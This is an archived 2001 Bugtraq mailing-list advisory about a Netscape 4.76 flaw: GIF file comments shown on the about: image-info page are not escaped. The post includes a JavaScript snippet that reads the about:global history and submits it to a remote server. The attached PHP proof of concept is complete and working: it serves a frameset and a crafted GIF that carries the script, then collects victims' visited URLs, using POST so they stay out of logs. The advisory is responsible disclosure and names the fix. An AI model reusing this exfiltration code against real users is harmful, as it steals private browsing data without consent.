6341748 2001-04-09 13:48 +0200 /116 rader/ Florian Wesch <fw@DIVIDUUM.DE> Sänt av: joel@lysator.liu.se Importerad: 2001-04-09 23:37 av Brevbäraren Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: fw@DIVIDUUM.DE Mottagare: Bugtraq (import) <16424> Ärende: Netscape 4.76 gif comment flaw ------------------------------------------------------------ Product: Netscape Navigator/Communicator Tested on: 4.76 (on Linux and Win98/NT) Vendor Contact: Reported 2001-03-22 { Problem }-------------------------------------------------------- - Overview: The Netscape browser does not escape the gif file comment in the image information page. This allows javascript execution in the "about:" protocol and can for example be used to upload the History (about:global) to a webserver. - Detail: Netscape does not allow javascript to access documents from a different domain. This stops a javascript from one domain that tries to mess around with login forms/private data from other domain. The following error message is shown "access disallowed from scripts at <javascriptdomain> to documents at another domain." Now there is the protocol "about:" that is used for some special tasks. about: - shows Netscape version and copyrights about:blank - shows a blank document about:config - shows Browser configuration. about:global - shows Information about the Netscape global history about:<url> - shows Information about the specified url .. There are some other about: documents (try grepping the netscape binary). about:global is very interesting since all visited documents are listed there. So I tried to find a way to access this information. I created a frameset with 2 frames. The first Frame (called foo) contains about:global. Using <frame src="about:global">, <meta http-equiv="refresh" content="10; URL=about:global"> or document.location.href="about.global"; for setting this url did not work. So I used the following trick to make it work: <base href="about:"> <form action="global" name="loadhistory"> <input type="submit"> </form> <script language="javascript"> document.loadhistory.submit(); </script> My intention is that the second frame (called bar) grabs 10 urls in the first frame using javascript and sends them to the server. Accessing parent.frames["foo"].document.links does not work since foo is displaying an about: document and bar is a normal http document: "access disallowed from scripts at blah to documents..." So I tried to find a way to start a javascript within an about: document. about:<someurl> comes into mind since there are a lot server specified values. First I tried to inject javascript using the url of the script. But since this url is encoded (space => %20 etc.) there is no way in. Modifying the Content-Type (File MIME Type) did not work either because Netscape opens a "Save as..." window when supplying an unknown mimetype. Then I remembered that Netscape shows the comment included in gif files. A quick test showed that the comment is not escaped. So Javascript in gif comments is executed in the about: realm. This means that this script can then access the content of about:global. nice. The following script included in the comment reads 10 urls in the about:global frame (foo), stores them in the form and finally submits this form. <form action=http://bla/ns476history.php target=_parent name=s method=get> <input name=u> </form> <script> f=parent.frames["foo"].document; l=""; for(i=0;i<10;i++) l+=f.links[i]+"|"; document.s.u.value=l; document.s.submit(); </script> The server has 10 urls of about:global urls now. Accessing about:config should be possible too, but I did not try it. { Solution }-------------------------------------------------------- Disable Javascript or Upgrade to 4.77 { Exploit }--------------------------------------------------------- attached or http://dividuum.de/security/netscape/ -------------------------------------------------------------------- Regards, Florian Wesch <fw@dividuum.de> http://dividuum.de (6341748) /Florian Wesch <fw@DIVIDUUM.DE>/(Ombruten) Bilaga (text/plain) i text 6341749 6341749 2001-04-09 13:48 +0200 /150 rader/ Florian Wesch <fw@DIVIDUUM.DE> Importerad: 2001-04-09 23:37 av Brevbäraren Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: fw@DIVIDUUM.DE Mottagare: Bugtraq (import) <16425> Bilaga (text/plain) till text 6341748 Ärende: Bilaga till: Netscape 4.76 gif comment flaw ------------------------------------------------------------ <? /* Netscape 4.76 gif comment flaw Florian Wesch <fw@dividuum.de> http://dividuum.de */ $self="http://".$SERVER_NAME.(($SERVER_PORT==80)?"":":$SERVER_PORT").$PHP_SELF; if (strlen($self)>64) { echo "Url of $self is too long. 64 maximum.<br>"; echo "You can change this but I think 64 should be enough for anybody ;-)"; exit; } if (!isset($mode)) $mode="intro"; // If urllist is submitted if (isset($u)) $mode="showhist"; switch ($mode) { case "intro": ?> <html> <body> <a href="<? echo $self; ?>?mode=frameset">Submit 10 urls of your history</a><br> </body> </html> <? break; case "frameset": ?> <html> <frameset rows="50%,50%" border=0 frameborder=0 framespacing=0> <frame src="<? echo $self; ?>?mode=loadhistory" name="foo" scrolling=no> <frame src="<? echo $self; ?>?mode=showimageinfo" name="bar" scrolling=no> </frameset> </html> <? break; case "loadhistory": // replaces the current document with about:global using javascript ?> <html> <base href="about:"> <form action="global" name="loadhistory"> <input type="submit"> </form> <script language="javascript"> document.loadhistory.submit(); </script> </html> <? break; case "showimageinfo": ?> <html> <head> <meta http-equiv="refresh" content="5; URL=about:<? echo $self; ?>?mode=evilgif"> </head> <body> Waiting 5 seconds...<br> <img src="<? echo $self; ?>?mode=evilgif"> </body> </html> <? break; case "evilgif": // Gifs are supposed to be compressed. The program I // used sucks :-) header("Content-type: image/gif"); $gif ="4749463839610a000a00f70000ffffffffffccffff"; $gif.="99ffff66ffff33ffff00ffccffffccccffcc99ffcc6"; $gif.="6ffcc33ffcc00ff99ffff99ccff9999ff9966ff9933"; $gif.="ff9900ff66ffff66ccff6699ff6666ff6633ff6600f"; $gif.="f33ffff33ccff3399ff3366ff3333ff3300ff00ffff"; $gif.="00ccff0099ff0066ff0033ff0000fffffffffffffff"; $gif.="fffffffffffffffffffffffffffffffffffffffffff"; $gif.="fffffffffffffffffffffffffffffffffffffffffff"; $gif.="fffffffffffffffffffffffffffffffffffffffffff"; $gif.="ffffffffffffffffffffffff0000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="00000000000000021feff"; $gif.=bin2hex(sprintf("%77s%s", /*"<form action=".$self,' target=_parent name=s method=get >'.*/ /* I'm using POST so the submitted urls do not appear in the logfile */ "<form action=".$self,' target=_parent name=s method=post>'. '<input name=u>'. '</form>'. '<script>'. 'f=parent.frames["foo"].document;'. 'l="";'. /*'for(i=0;i<f.links.length;i++)'.*/ 'for(i=0;i<10 ;i++)'. 'l+=f.links[i]+"|";'. 'document.s.u.value=l;'. 'document.'.chr(255).'s.submit();'. '</script>')); $gif.= "00000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="0000000000000000000000000000000000000000000"; $gif.="00000000000002c000000000a000a00000813004708"; $gif.="1c48b0a0c18308132a5cc8b061c28000003b"; echo pack("H".strlen($gif), $gif); break; case "showhist": $urls=explode("|",$u); echo "<h1>Top 10 urls in about:global</h1>"; foreach ($urls as $url) { echo "<a href=$url>$url</a><br>"; } }; ?> (6341749) /Florian Wesch <fw@DIVIDUUM.DE>/----------